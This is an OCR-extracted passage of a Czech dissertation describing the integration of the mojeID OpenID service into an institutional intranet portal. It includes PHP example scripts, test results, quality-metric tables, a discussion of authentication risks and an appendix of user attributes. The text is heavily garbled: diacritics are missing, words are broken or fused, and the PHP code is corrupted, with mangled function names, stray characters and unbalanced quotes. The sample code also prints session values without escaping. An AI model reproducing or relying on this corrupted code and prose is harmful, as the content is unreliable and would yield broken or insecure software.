schvalovat.

% % &

Na stdvajici autentizai Udaje je v instituci navazadn pouze systéinml@Sovani do
systému EZProxy, kdy je proti portadlu provAd ov eni mo nosti pistupu u ivatel do
elektronickych zdroj. Tato funkcionalita je zaji®vana samostatnym skriptem na stejném
portalu.

2. Uprava vazeb stavajiciho systému

Pro vytvoeni vazby mezi u ivatelem stavajiciho systému avatélem slu by mojelD

bude vytvoeno noveé jedineé pole v tabulce 'zam':

ALTER TABLE "zam’
ADD COLUMN "mojeid” CHAR(200) NOT NULL AFTER
“Zam _Id';
3. Sepsani smlouvy s poskytovatelem mojelD

Sepsani smlouvy je nutné pouze pro rax# funkce mojelD. Vzhledem k tomu, e je
nutné vynutit v ramci autentizace vyssi stupabezpeeni (OTP, ipova karta), je sepséni
smlouvy a zaplaceni raiho poplatku nezbytnosti. Sepséani smlouvy pnibbez problému a
slu ba byla do tydne aktivni.

4. Uprava smrnic a podminek pro u ivani portalu
Instituce nem& v soasné dob adné smrnice pro préci s intranetovym portélem.
Doporu enim pro instituci je vytv@ni smrnice pro praci s intranetovym portalem.

5. Integrace slu by mojelD do stavajiciho systému

Zaklad systému pro komunikaci s poskytovatelemisfumojelD tvoi p t skript :
auth.php - vykona volani koncového bodu slu by nidje po adovaném tvaru
common.php - sdilend knihovna pro ostatni skripysahuje zakladni funkce,
definice konstant, atribut a zajiSuje volani pomocnych knihoven slu eb
OpeniD
finish.php — stranka, na kterou je u ivatelepmrovan po opushi koncovéeho
bodu mojelD; skript je zodpodny za ov eni pravosti zazhamp edanych
slu bou mojelD
index.php — Gvodni stranka s titkem pro pihlaSeni

2 % H I
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<?php
session_start();

Il Settings
define('TEST', false); //Jedna se o testovaci
provoz?

ob_start();

if (Yis_readable('/dev/urandom’)) {
define('Auth_OpenID_RAND_SOURCE!', null);

}

ob_end_clean();

set_include_path(getcwd() . /OpeniD’ .
PATH_SEPARATOR . get_include_path());

require_once('OpenlD/Auth/OpenlID/Consumer.php’);
require_once('OpenlD/Auth/OpenlD/FileStore.php’);
require_once('OpenlD/Auth/OpenID/AX.php’);
require_once('OpenlD/Auth/OpenlID/PAPE.php");

global $pape_policy uris;

$pape_policy_uris = array(
PAPE_AUTH_MULTI_FACTOR_PHYSICAL,
PAPE_AUTH_MULTI_FACTOR,
PAPE_AUTH_PHISHING_RESISTANT

);
global $ax_attributes;

$ax_attributes = array(
'fullname’ => array(
'scheme’ =>
‘http://axschema.org/namePerson’,
‘text' =>'Celé jméno’,
'required’' => FALSE
);
...definice atribut vynechany, piny vy et je uveden
vp iloze

if (empty($_SESSION['none’)) {
$ SESSION['nonce'] = md5(uniqid());
}

/I Functions
function displayError($message) {
$error = $message;
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include('index.php");

exit(0);
}

function &getStore() { //Vytvo eni dlo ist
data o p ihlaSenich
$store_path = 'cache’;

if (Mfile_exists($store_path) &&
Imkdir($store_path, 0777, true)) {
echo 'Could not create the FileStore
directory ' . $store_path . ".<br />'.
'Please check the effective
permissions.";

exit(0);
}

return new Auth_OpenlID_FileStore($store_path);
}

function getScheme() {

return (isset($_SERVER[HTTPST) &&
$ SERVER['HTTPS'] == 'on’ ? 'https" : 'http");

}

function getReturnTo() { //Sestaveni navratové
adresy
if ($_SERVER['SERVER_PORT'] == 80) {
return sprintf("%s://%s%s/finish.php”,

pro

getScheme(), $_SERVER['SERVER_NAME],

dirname($_SERVER['PHP_SELFY));
} else {
return sprintf("%s://%s:%s%s/finish.php",

getScheme(), $_SERVER['SERVER_NAME,

$ SERVER['SERVER_PORTY,
dirname($_SERVER['PHP_SELFY));
}
}

function getTrustRoot() {
if ($_SERVER['SERVER_PORT' == 80) {
return sprintf("%s://%s%s",

getScheme(), $_ SERVER['SERVER_NAME],

dirname($_SERVER['PHP_SELF));
}else {
return sprintf("%s://%s:%s%s",

getScheme(), $_SERVER['SERVER_NAME,

$ SERVER['SERVER_PORT,
dirname($_SERVER['PHP_SELFY));
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}
}

function &getConsumer() {
$store = getStore();

$consumer =& new Auth_OpenlID_Consumer($store);

return $consumer;

}
function getEndPoint($action = 'endpoint’) {
if (TEST) { /[Ziskani koncového bodu slu by
mojelD

$endpoint = 'https://mojeid.fred.nic.cz/;
/[Testovaci server
} else {
$endpoint = 'https://mojeid.cz/';
provoz

}

return $endpoint . trim($action, '/') . '/’;

}
$ n

Stranka prg ihlaSeni je rozSéna o dva odka:
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Tla itko pro pihlaSeni pes mojeID

Odkaz pro zalo eni ttu slu by mojelC

<?php
require_once(‘common.php”);

global $pape_policy_uris;
global $ax_attributes;
7>
<html>
<head>
< meta http -equiv="Content-Type"
content="text/html; charset=UTF -8">

<title>MojelD - Ukazkova implementace</title>

//Ostry

<meta http  -equiv="x-xrds- location” content="<?php

echo getTrustRoot(); ?>xrds.php" />
<style type="text/css">

</style>
<script type="text/ javascript">
function register() {

document.getElementByld(‘register - form’).submit();

}

</script>
</head>
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<body>
<div id="wrapper">

<?php if (isset($msg)) { print "<div
class=\"alert\">$msg</div>"; } ?>

<?php if (isset($error)) { print "<div
class=\"error\">$error</div>"; } ?>

<?php if (isset($success)) { print "<div
class=\"success\">$success</div>"; } ?>

<div id="form">
<div id="button"><a href="auth.php"><img
src="image/155x24.png" alt="P ihlasit p es
mojelD"></a></div>
<div id="links">
<span id="why"><a
href="http://www.mojeid.cz/page/805/vyhody-
mojeid/">Pro mojelD</a></span> |
<span id="register"><a href="#"
onclick="register();return false;">Zalo it et
mojelD</a></span>
</div>
<form action="<?php echo
getEndPoint('registration/endpoint’); ?>" method="p
enctype="multipart/form-data" id="register-form">
<input type="hidden" name="realm"
value="<?php echo getTrustRoot(); ?>" />
<input type="hidden" name="registration_nonce"
value="<?php echo $_SESSION['nonce']; ?>" />
</form>
</div>

<?php if ('lempty($_SESSION['values)) { ?>
<table id="list">
<thead>
<tr>
<th>Schéma</th>
<th>Hodnota</th>
<th>Popis</th>
</tr>
</thead>
<tbody>
<?php foreach ($_SESSION['values'] as
$key => $values) { 7>
<tr>
<td><?php echo
$ax_attributes[$key]['scheme']; ?></td>
<td><?php foreach ($values as
$value) { 7>
<div><?php if ($key == 'image’
&& $value) { 7>

ost"



<img
src="data:image/png;base64,<?php echo $value; ?>">
<?php } else { ?>
<?php echo $value; ?></div>
<?php } ?>
<?php } ?></td>
<td><?php echo
$ax_attributes[$key][text]; ?></td>
</tr>
<?php } ?>
</tbody>
</table>
<?php unset($_SESSION['values'); ?>
<?php } 7>
</div>
</body>
</html>
$

<?php
require_once(‘common.php”);

$consumer = getConsumer();
$auth_request = $consumer->begin(getEndPoint());

if (!$auth_request) {

displayError('FAILED TO CREATE AUTH REQUEST: not a
valid OpenlID");

}

$ax_request = new Auth_OpenlD_AX_ FetchRequest();

foreach ($ax_attributes as $id => $data) {

$attr = new
Auth_OpenID_AX_Attrinfo($data['scheme’], 1,
$data['required], $id);

$ax_request->add($attr);

}

$auth_request->addExtension($ax_request);

$pape_request = new
Auth_OpenID_PAPE_Request($pape_policy uris);
$auth_request->addExtension($pape_request);

if ($auth_request->shouldSendRedirect()) {
$redirect_url = $auth_request-
>redirectURL(getTrustRoot(), getReturnTo());

if (Auth_OpenlD::isFailure($redirect_url)) {
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displayError(‘Could not redirect to server:
' $redirect_url->message);

}

ob_end_clean();

header('Location: ' . $redirect_url);

} else {

$form_html = $auth_request-
>htmIMarkup(getTrustRoot(),

if (Auth_OpenlID::isFailure($form_html)) {
displayError(‘Could not redirect to server:
', $form_html->message);

}

ob_end_clean();

echo $form_html;

}
exit(0);
(

<?php

require_once(‘common.php”);

$ SESSION['values'] = array();

ob_start();

$consumer = getConsumer();

$return_to = getReturnTo();

$response = $consumer->complete($return_to);

if ($response->status == Auth_OpenlD_CANCEL) {

$msg = 'Verification cancelled.";

} elseif ($response->status == Auth_OpenlD_FAILURE)
{

$msg = "OpenlD authentication failed: " .
$response->message;

{

$openid_identity = (isset($response->endpoint-
>claimed_id) ? $response->endpoint->claimed_id :
$response->getDisplayldentifier());

} elseif ($response->status == Auth_OpenlD_SUCCESS)



$success = sprintf("You have successfully verified

'<a href="%s">%s</a> as
your identity.’,

$esc_identity,
$esc_identity);

$ax_resp =

Auth_OpenID_AX_FetchResponse::fromSuccessResponse($
onse);

if ($ax_resp) {
foreach ($ax_attributes as $key => $value)

{

$ SESSION['values'|[$key] =
(isset($ax_resp->data[$value['scheme']]) ? $ax_resp
>data[$value['scheme'] : ');

}
}

ob_end_clean();

include 'index.php B

6. Testovani systému

resp

Systém byl otestovan na jednom Utvaru vybranéhiituss. Jednalo se o Utvar s 16-ti

zam stnanci. Mezi zanstnanci byli 3 pracovnici s pravem schvalovat.

B hem msiniho testovani nebyly zaznamenany adné problényyihtaSenim

u ivatel .

7. Poueni uivatel o bezpeném pistupu k internetu

Na Ovodni strance portalu bylo zeg no jednoduché poeni o bezpenostnich

hrozbach na internetu dleilphy k navr ené metodice.
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6.3. Faze 3-ov eni

6.3.1.Hodnoceni metodiky v ramci metrik pro hodnoceni jalosti

systému

< *
Se zavedenim metodiky doSlo k nstu bezpenosti autentizace. Systém umaje

vicefaktorovou autentizaci i autentizaghiovou kartou (mo nosti ov eni ve slu b mojelD).

*

Systém je schopen poskytovat funkce pro zajiSbezpené autentizace a splje
po adavky na vysSi stupezabezpeeni (funk ni pim enost).
Systém ma schopnost spoluprace s jinymi systéng, ty@b jiné systémy mohou

mnohem jednoduSeji pracovaimo se slu bou mojelD (schopnost spoluprace).

<

V ramci bezporuchovosti doslo ke sni eni jakoststgynu, nebo systém se stava
zavislym nejen na své vlastni fumosti, ale navic na systémuweti strany a roste tim
pravd podobnost selhani systému jako celku. Zralost systge pomrn vysokd diky
specializaci tetich stran pouze na autentimamechanismy. DalSim faktoremigpivajicim
k zralosti systému je otesnost celého systému a postaveni na zakladechvy&ijenych

technologii (OpenID). Schopnosti zotaveni sewe kapitola 6.3.2.

(

Z hlediska pou itelnosti je systém srozumitelny, adno nauitelny (intuitivni).
Atraktivnosti systému je dosa enoiganou hodnotou pro u ivatele — svoje autentidaidaje

spravuje prosednictvim jediné identity pro vic systém

)*
S ohledem naasové chovani a vyu iti zdrojdoSlo ke zlepSeni s ohledem na fakt, e
samotna autentizace probiha v systénaii tstrany a systému je pouzeegan vysledek

ov eni.
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G (
Analyzovatelnost systému je zavisla na technolbdiietich stran. Technologie OpenID
je velmi dobe zdokumentovana. Testovatelnost systému je zadomentestovacim prostdi

slu by mojelD.

$
Systém autentizace je gmositelny na jakykoliv systém, ktery umaje zobrazit

u ivateli webovou stranku a zarove ijmout p ichozi HTTP/HTTPS po adavek.
6.3.2. Zjist né nedostatky

B hem testovani systému byly zji8y nasledujici nedostatky a limitujici omezeni:

6 % (
Slu ba mojelD je dostupna pouze gském nebo anglickém jazyku. Tento faktor en
byt limitujicim pro vicejazykové systemy, kdy auieace bude vy adovat znalost anglického

nebo eského jazyka.

$ " $ @ IJK .JG ;

Navr ena metodika nepodporuje ipou autentizaci heslem. Vdy je nutné
p esmrovani na stranky poskytovatele mojelD a zadardrdigta nich Gdaj t eti stran.

Slubu tedy neni moné vyuit napklad pro pihlaSeni pes konzoli k systému
Unix/Linux. Stejn tak Microsoft Credential Providers pro Windows tdisa vysSi
neumo uji zobrazit u ivateli pi p ihlaSovani webovou stranku. Navr enou metodiku eelz
vyu it ani pro autentizaci LDAP ze stejnychwbd , jako jsou vySe uvedené -lgaseni neni

interaktivni.

? &% !
Vzhledem k tomu, e autentizace je provad prostednictvim sit internet, je nutné

umo nit u ivatel m pistup k internetu, minimalnna pihlasovaci stranku slu by mojelD.

? & $ & $
Pro zvySeni pou itelnosti je mo né dopoitipou iti bezpe né formy autentizace a p
vzdaleném gstupu (tedy dstupu z nedv ryhodnych siti nebo ned ryhodnych poita ).
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1"& ( % (%
Aby u ivatel s vy$8im opravmim nemusel v dy pou it bezp@é autentizaceipovou
kartou nebo jednordazovym heslem, je mo né toto eni provadt a po po adavku na

citlivou operaci v systému (schvalovani, podepisdya

? (%

Je nutné navrhnout opahi pro pipad nedostupnosti autentizé slu by.
6.3.3. Navr en& opat eni na zaklad zjiSt nych nedostatk

Je navr eno do metodiky lat oblast pou iti — vymezeni systéna u ivatel ,
pro které je metodika platna (bod 8)
0 Lokalizace mojelD existuje pouze proesky a anglicky mluvici
u ivatele, omezenim je také nutnost vlastnictvetehu s eskym nebo
slovenskym telefonnimislem
o P ihlaSeni pes LDAP, Windows, Unix
o Nutnost pipojeni k internetu
Je navr eno do bodu 1 igat v ramci analyzy zhodnoceni, kdy je nutné pou i
bezpené autentizace — ndglad pi p istupu z nedv ryhodnych siti
Do bodu 5 je navr eno unit opateni na zajiSni bezpené autentizace a v
okam iku provad ni kritickych transakci
Do bodu 6 je navreno mat podminku na pb nou kontrolu aktualizaci
skript zaji$ ujicich komunikaci

UplIné znni finalni verze metodiky je uvedeno \ilpze v kapitole 12.1.
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6.4. Faze 4 — provoz

V rdmci provozu nebyly zjiShy adné dalSi nedostatky. V s@asné dob je systém
uvoln n pro pouivani vSemi pracovniky bez restrikci natnost vyu ivani bezpeé
autentizace. Vtomto pchodném obdobi maji mo nost vedouci pracovniciistifj si

prostedky pro vicefaktorovou autentizaci.

%

Metodika byla po Upravach implementovana obdobnymsabem do druhého
testovaciho systému. Jednalo setapveejnou vyzkumnou instituci s cca 500 zatmanci.
Vnm u nebyly do souasnosti zjiStny adné nedostatky. Pouze bylo nutné zachovat
paraleln p vodni hesla z drzodu napojeni na LDAP a dalSi systémy v instit@statni
opateni metodiky zstala v platnosti.
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6.5.

6.5.1.Nam ené hodnoty

Zhodnoceni navr eného eSeni

V néasledujici tabulce jsou uvedeny hodnoty namé v systémech @d a po

implementaci metodiky. Hodnoty jsou dosazeny dawzdle definic jednotlivych metrik.

Vicefaktorova | Doba  odezvy Po et krok
autentizace [ms]
P vodni systétm 1| 2 117 2
P vodni systétm 2 2 187 2
Implementace 1 | 3 230 3
Implementace 2 | 3 221 3

Tabulka 25 Nam ené hodnoty pro vypoet metrik (zdroj: autor)

6.5.2. Vysledné hodnoceni metrik

V nasledujici tabulce jsou uvedeny vysledné hodnwatrik a atribut pro systémy ped

a po implementaci metodiky na zéklathm enych udaj.
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Tabulka 26 Hodnoceni systému ped a po nasazeni metodiky (zdroj: autor)

Déle nasleduje vyneseni namnych hodnot do grafu.
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Graf 3 Ov eni metodiky (zdroj: autor)

Z grafu je viditelné zvySeni v oblasti bezpesti. Dle oekavani také dosSlo ke sni eni
arovn p enositelnosti (systém je mo né nahradit s omezenimhnosti (komunikace se
systémem Eti strany) a pou itelnosti (nutny pet krok pro pihldSeni). V ostatnich
oblastech zstal zachovan stav jako uyodnich systém Je zejmé, e cile prace — zvySeni
bezpenosti — byl spinn. V grafu je vSak viditelny dopad na ostatni ckegastiky systému

jako celku.
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7. Shrnuti a diskuze

Vysledek disertani prace je zavisly na kolika technologiich, které jsou v dnesni dob
pova ovany za bezp@é a nezpochybnitelné. Lze ekavat, e v budoucnu me dojit
k prolomeni nkterych bezpenostnich algoritm a stim také k zpochybni ziskanych
zav r . Dale bezpenost autentizace zavisi také n&kterych technologiich, které jsou dnes
j znamée, ale nejsou pou ivané.

Nasledujici body popisuji rizika spojena s techg@mi pou itymi v navr ené

metodice.

< *
Bezpenost hashovacich funkci je kriticka golevSim pro technologii digitalniho
podpisu. Neni pliS velkou hrozbou pro generéatory jednorazovyckethes pipad pou iti
silného sdileného kle. Zatimco g odhalovani hesel sta najit libovolny text, kterému
odpovida hash hesla, u jednordzovych hesel tatmjpdah neplati, nebge nutné najit gesn

p vodni text kv li vypo tu nasledujiciho hesla.

< * F ! 1

Pro generatory jednorazovych hesel je velkym rimikeutnost ukladat sdilené tajemstvi
na obou strandch komunikace v o podob. S ohledem na fakt, e generatory funguji na
mobilnich telefonech, které se mohou stattobileného Gtoku stejnjako poita e, je zde
jisté riziko kompromitace sdileného tajemstvi. Nars klienta je mo né zvysit zabezpeni

zadanim kédu PIN pgenerovani sdileného tajemstvi.

< * *

Zajist ni bezpenosti komunikanich kandl je kritické pro vSechny autentiza slu by.
Dnes je napklad b né pou ivani protokolu HTTPS, ale jeSheni zcela bné zabezpeeni
DNS server technologii DNSSEC.

* (‘%
Vzhledem ktomu, e autentizace vyuiva sluebeti strany, kterd je geograficky

umist na jinde, ne informani systém, je logické, e doch&zi ke sni eni dosigti slu by

jako celku. Je vySSi pravpdodobnost, e dojde k selhani jednoho ze dvou systée pouze

jednoho.



/ ( ##

Limitujicim faktorem na stranu ivatel m e byt neochota u ivatel z izovat si dalSi
U et. Je vhodné u ivatele esv d it, e vytvo enim Utu mojelD se jim prace zjednodusi —
nemusi si vytvét autentizani idaje pro rzné slu by.

S ochotou uivatel ke zizeni Gtu v mojelD souvisi také podpora tohoto gpbu
autentizace ve vice systémechim rozSien jSi bude podpora, tim vice u ivatelbude

ochotno pejit na et mojelD.

< * ( 9

Aplikace, které umo uji p ihlaseni pomoci jednoradzovych heseliSinou nabizeji
zalo ni mo nost pihlaSeni — vytiStnim zalo nich kéd. U t chto kéd je nemo né jejich
zneu iti napadenim pdta e nebo mobilniho zézeni. Utonik tak musi mit fyzicky pstup
kt mto udajm a zarove musi znat uivatelské heslo. Vytiste kody se tak stavaji

nezavislym komunikanim kanalem.

% ( 1 ! % /| +

Jako vhodny poskytovatel autentinéch slu eb mohou slou it také datové schranky.
Tuto schopnost zatim nemaiji, ale z hlediskske legislativy a poskytovanych vlastnosti by
byly vhodnym autentizanim prostedkem. Garantuji identitu u ivatela poskytuji formy
bezpené autentizace. Aktivace tin je komplikovanjSi — je nutna navsta registraniho
mista. Vyjimkou je odeslani adosti opané digitalnim podpisem.

Odrazujicim faktorem me byt pro u ivatele neochota zovat si datovou schranku.
Pak by bylo vhodné odtit samotny ISDS od spravy identit. Vzniknul by tiomikéat

elektronické identity s garantovanymi udaji M\R.
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8.Zav r

Cilem bezpené autentizace je eliminovani mo nosti zneu itirgaSovacich informaci.
V sou asné dob nejrozSien jSi zp sob autentizace — znalosti hesla — poskytuje rsakye
zabezpeeni. Nutnym pedpokladem je disciplinovanost uivatelpi p ihlaSovani —
nepou ivat stejné heslo pro ané Uty, nezadavat autentizai Udaje na nezabezmnych
stanicich, pouivani silnych (na druhou stranukd zapamatovatelnych) hesel, jejich
pravidelna zmna a striktni dodr ovani zasilani heselkep zabezpeny kanal. Vzhledem
k tomu, e ne vdy je mo né zajistit vSechna vySeedena opaéni a nktera z nich jsou
navic kontraproduktivni, nebonapiklad vy adovani asté zmny silného hesla vede
u ivatele k obchazeni thto opateni, heslo dopluje poadovymi isly nebo si g uplné

zm n heslo poznamenaim zvySuje riziko jeho prozrazeni.

Vzhledem k tomu, e tato prace semuje zabezpeni autentizace na dalku, nejsou
p ilis pou itelné ani metody autentizace vlastno$ito autentizani udaje jsou ji z podstaty
t chto metod (faktor nenmné charakteristiky) nemné — autentizani informace zstava
stéle stejna a jsou pou itelnégva n p i autentizaci na blizko v kontaktnich autentizizh
systémech, kde neni vy adovana stoprocentni speteilpi rozpoznani u ivatele.

V souasné dob je nejspolehlivjSi metodou autentizace khz vlastnictvim
autentizaniho pedmtu. Pro tento zpsob autentizace Ize pou itipové karty nebo
generatory jednorazovych hesel.

ipové karty vyu ivaji technologie digitalniho podpisu,ipem privatni kli ulo eny
na ipové kart neni mo né exportovat — digitalni podpis zajife samotna karta.ip na kart
je chrann PIN kédem a p opakovaném chybném zadani PIN dojde k zablokokartiy.
Nevyhodou tohotoeSeni je nutnost instalace ky ipovych karet a software na gta , kde
bude karta pou ivana. Kartu tedy neni mo né poundtlibovolném poita i. Naopak vyhodou
tohoto eSeni je jeho univerzalnost — certifikat digitamipodpisu je mo né zaregistrovat do
vSech systém ke kterym uivatel pistupuje bez mo nosti jeho zneu iti. Bezp®stnim
rizikem je ztrdta karty a prozrazeni kédu PIN nelapadeni pdta e a tim mo nost
podstr eni Gto nikovych dat k podpisu.

Generatory jednorazovych heselgeneruji jednordzova hesla na zaklatlileného
tajemstvi a prommlivého faktoru — asu nebo p@adového isla. Hlavni vlastnosti je

nemo nost odhalit nésledujici kod na zakladnalosti posloupnosti pdchozich kéd
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V pipad hardwarovych generatorjednordzovych hesel neni mo né napaderdhto
zaizeni, nebo se jedna o autonomni systémy. Hlavni nevyhodohté HW generator je
jejich jednouelovost a omezena ivotnost. Jednelovost vyplyva z nutnosti pouiti
sdileného tajemstvi, které musi znat strany. Neni tedy mo né pou it jeden generator pro
vice systém. V praxi to znamena vlastnit pro ka dy vzdalengtyn dedikovany generator.
DalSi mo nosti generovani jednorazovych hesel pagkghytré telefony, do kterych je
mo né nainstalovat aplikaci pro jejich generovamhi tak pro ka dy vzdaleny systémana
sdilena tajemstvi. Nevyhodou tohoteSeni je oekavané roz&ni spyware pro platformy

chytrych telefon a tedy potencialni bezpgostni riziko.

Na zaklad provedené analyzy zdrojbyla pro dalSi vyzkum jako nejbezpejSi
metoda autentizace zvolena tgdnorazova heslaV souvislosti se zvolenymeSenim byly
stanoveny nasledujici podminky pro bezpevyu iti:

eSeni vy aduje pouiti zabezpenych komunikanich kanal a je zavislé na
nepopiratelnosti digitalniho podpisu

eSeni je zalo ené na nejngsich hashovacich funkcich, které jsou v smmé dob
pova ovany za bezp@é, ale neni mo né odhadnout dalSi vyvoj
Pro kritické aplikace je vhodné vyu it nezavislékemunikaniho kanalu (najpklad

sit GSM), kdy riziko napadeni obou kan&lou asn je podstatn ni §i

Pro implementaci bezpeé autentizace byla na zakladnalyzy dostupnych slu eb
zvolena slu ba mojelD, kterd je z uivatelského dikka jednoducha na pou ivani a jeji
implementace je snadna diky mnoha open-souedeni. Vyhodou této sluby je také
zapouzdeni vice zpsob bezpené autentizace — zahrnujgové karty i jednorazova hesla.
Systém, ktery ada o autentizaci u ivatele, m vynutit pou iti vybrané bezpeé metody

autentizace.

Na zaklad vySe uvedenych zjishi byla navr ena metodika Portal authentication
security enhancement (POASE), ktera popisuje krokiné k zavedeni systému s vysSi
bezpenosti autentizace. Ve stmosti se sklada z nasledujicich krokdetailni popis je
Mo né najit v kapitole 6.1):

Analyza stavajiciho systému a jeho vazeb

Uprava vazeb stavajiciho systému
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Uprava smrnic a podminek pro u ivani portalu
Sepsani smlouvy s poskytovatelem mojelD
Implementace systému
Testovani funknosti
Pou eni u ivatel o bezpenosti na internetu
Navr end metodika byla implementovana do vybrangtiorma niho systému. Bhem
samotného testovani nedochazelo k adnym vypadkLimitujicim faktorem se ukazala
nedostatena vybavenost vedoucich pracovnikobilnimi telefony umo ujicimi generovani
jednorazovych hesel. V tomto ohledu by bylo vhodritmo nost ke slu b mojelD zakoupit
generatory jednoradzovych hesel (OTP tokeny). Dikgstmostem slu by mojelD by
u ivatel m stail jeden token pro vSechny systémy s implementaddg mojelD.
Zvyseni bezpenosti autentizace bylo oweno m enim charakteristik jakosti IS.
Atributy charakteristik byly navr eny autorem naki@d dostupnych literarnich zdrqj
M eni ukazalo snieni Urovn pouitelnosti a dostupnosti p zvySeni bezpenosti

autentizace.

Na zaklad ov eni v ramci cyklu PDCA byly navr eny drobné Uprametodiky podle
zjist nych nedostatk Dale byla metodika aplikovana na dalSi systémzéldad uvedeného
testovani je mo né metodiku ozriaza platnou. S ohledem na fakt, e v oblasti beppsti
stdle dochazi k porn velkym zmnam, lIze oekavat do budoucna Upravy metodiky.
Metodika tvorby vlastni disertai prace je pedevSim diky pou ité metodPDCA na tento

fakt p ipravena a umo uje reagovat na budouci zny.
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12.1. Atributy u ivatele ve slu by mojelD
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$ax_attributes = array(
'fullname’ => array(
'scheme’ =>
'http://axschema.org/namePerson’,
‘textt =>'Celé jméno’,
'required' => FALSE
)

irstname’ => array(
'scheme’ =>
'http://axschema.org/namePerson/first’,
‘text  =>'Jméno’,
'required' => TRUE
),
'lastname’ => array(
'scheme’ =>
‘http://axschema.org/namePerson/last’,
‘textt =>'P ijment’,
'required' => TRUE
)

ick' => array(
'scheme’ =>
‘http://axschema.org/namePerson/friendly’,
‘textt =>'P ezdivka',
'required’' => FALSE
),
‘company' => array(
'scheme’ =>
‘http://axschema.org/company/name’,

‘text' =>'Jméno spole nosti',

'required' => FALSE
)

_address' => array(
'scheme’ =>
'http://axschema.org/contact/postalAddress/home’,
‘textt =>'Domaci adresa — Ulice',
'required' => TRUE
)

_address2' => array(

'scheme’ =>
'http://axschema.org/contact/postalAddressAdditiona
me’,

'textt =>'Doméaci adresa — Ulice?2',
'required’' => FALSE

)

_address3' => array(

'scheme’ =>
‘http://specs.nic.cz/attr/addr/main/street3’,
‘text =>'Domaci adresa — Ulice3’,

I/ho



'required' => FALSE
)

_city' => array(
'scheme’ =>
'http://axschema.org/contact/city/home’,
‘text =>'Domaci adresa— M sto’,
'required' => TRUE
)

_state' => array(
'scheme’ =>
'http://axschema.org/contact/state/home’,
‘text =>'Domaci adresa — Stat',
'required' => TRUE
),
'h_country' => array(
'scheme’ =>
'http://axschema.org/contact/country/home’,
‘textt =>'Domaci adresa — Zem ,
'required' => TRUE
)

_postcode’ => array(
'scheme’ =>
'http://axschema.org/contact/postalCode/home’,
‘text =>'Domaci adresa — PS B
'required' => TRUE
)

_address' => array(
'scheme’ =>
‘http://specs.nic.cz/attr/addr/bill/street’,
'textt =>'Faktur. adresa — Ulice',
'required' => FALSE
)

_address2' => array(
'scheme' =>
'http://specs.nic.cz/attr/addr/bill/street2',
'text' =>'Faktur. adresa — Ulice2',
'required' => FALSE
)

_address3' => array(
'scheme’ =>
‘http://specs.nic.cz/attr/addr/bill/street3’,
‘textt =>'Faktur. adresa — Ulice3',
'required' => FALSE
)

_city' => array(
'scheme' =>
'http://specs.nic.cz/attr/addr/bill/city’,
'text' =>'Faktur. adresa— M sto’,
'required’' => FALSE
)

_state' => array(
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'scheme’ =>
'http://specs.nic.cz/attr/addr/bill/sp’,
‘textt =>'Faktur. adresa — Stat',
'required' => FALSE
),
'b_country' => array(
'scheme’ =>
'http://specs.nic.cz/attr/addr/bill/cc’,
‘text’ =>'Faktur. adresa — Zem
'required’' => FALSE
)

_postcode’ => array(
'scheme’ =>
‘http://specs.nic.cz/attr/addr/bill/pc’,
‘text =>'Faktur. adresa — PS B
'required’' => FALSE
)

_address' => array(
'scheme’ =>
‘http://specs.nic.cz/attr/addr/ship/street’,
'text =>'Doru . adresa — Ulice’,
'required’' => FALSE
)

_address2' => array(
'scheme’ =>
‘http://specs.nic.cz/attr/addr/ship/street2’,
'text =>'Doru . adresa — Ulice2',
'required' => FALSE
)

_address3' => array(
'scheme’ =>
'http://specs.nic.cz/attr/addr/ship/street3’,
'text =>'Doru . adresa — Ulice3/,
'required' => FALSE
)

_city' => array(
'scheme' =>
‘http://specs.nic.cz/attr/addr/ship/city’,
'text” =>'Doru .adresa— M sto’,
'required' => FALSE
)

_state' => array(
'scheme’ =>
'http://specs.nic.cz/attr/addr/ship/sp’,
‘text =>'Doru . adresa — Stat’,
'required’' => FALSE
),
's_country' => array(
'scheme’ =>
'http://specs.nic.cz/attr/addr/ship/cc’,
‘text =>'Doru . adresa — Zem "
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'required' => FALSE
)

’_postcode' => array(
'scheme’ =>
'http://specs.nic.cz/attr/addr/ship/pc’,

'textt =>'Doru . adresa — PS

'required' => FALSE
)

_address' => array(
'scheme’ =>
'http://specs.nic.cz/attr/addr/mail/street’,
‘textt =>'Koresp. adresa — Ulice',
'required’' => FALSE
),
'm_address2' => array(
'scheme’ =>
‘http://specs.nic.cz/attr/addr/mail/street2’,
'textt =>'Koresp. adresa — Ulice?2',
'required’' => FALSE
)

_address3' => array(
'scheme’ =>
‘http://specs.nic.cz/attr/addr/mail/street3’,
'text’ =>'Koresp. adresa — Ulice3',
'required’' => FALSE
)

_city' => array(
'scheme’ =>
‘http://specs.nic.cz/attr/addr/mail/city’,
'text’” =>'Koresp. adresa — M
'required' => FALSE
),
'm_state' => array(
'scheme’ =>
'http://specs.nic.cz/attr/addr/mail/sp’,
'text =>'Koresp. adresa — Stat',
'required' => FALSE
),
'm_country' => array(
'scheme’ =>
'http://specs.nic.cz/attr/addr/mail/cc’,
‘textt =>'Koresp. adresa — Zem
'required' => FALSE
)

_postcode’ => array(
'scheme’ =>
'http://specs.nic.cz/attr/addr/mail/pc’,
‘textt =>'Koresp. adresa — PS
'required’' => FALSE
)

’ hone' => array(

sto’,



'scheme' =>
'http://axschema.org/contact/phone/default’,
'text’” =>'Telefon — Hlavni',
'required' => FALSE
)

hone_home' => array(
'scheme’ =>
'http://axschema.org/contact/phone/home’,
‘textt =>'Telefon — Domaci’,
'required’' => FALSE
)

hone_work' => array(
'scheme’ =>
'http://axschema.org/contact/phone/business’,
‘text =>'Telefon — Pracovni’,
'required’' => FALSE
)

hone_mobile' => array(
'scheme’ =>
'http://axschema.org/contact/phone/cell’,
'text => 'Telefon — Mobil',
'required’' => FALSE
)

ax' => array(
'scheme’ =>
'http://axschema.org/contact/phone/fax’,
'text =>'Telefon — Fax’,
'required' => FALSE
)

mail' => array(
'scheme’ =>
'http://axschema.org/contact/emalil’,
‘text' =>'Email — Hlavni',
'required' => FALSE
)

mail2' => array(
'scheme’ =>
'http://specs.nic.cz/attr/email/notify’,
'text =>'Email — Notifika
'required' => FALSE
)

mail3' => array(
'scheme’ =>
'http://specs.nic.cz/attr/email/next’,
‘textt =>'Email — Dalsi",
'required’' => FALSE
)

rlI' => array(
'scheme' =>
'http://axschema.org/contact/web/default’,
'text =>'URL — Hlavni',
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'required' => FALSE
)

log' => array(
'scheme’ =>
'http://axschema.org/contact/web/blog’,
‘text =>'URL - Blog’,
'required' => FALSE
)

r2' => array(
'scheme' =>
'http://specs.nic.cz/attr/url/personal’,
‘text =>'URL - Osobni’,
'required’' => FALSE
)

r3' => array(
'scheme’ =>
‘http://specs.nic.cz/attr/url/work’,
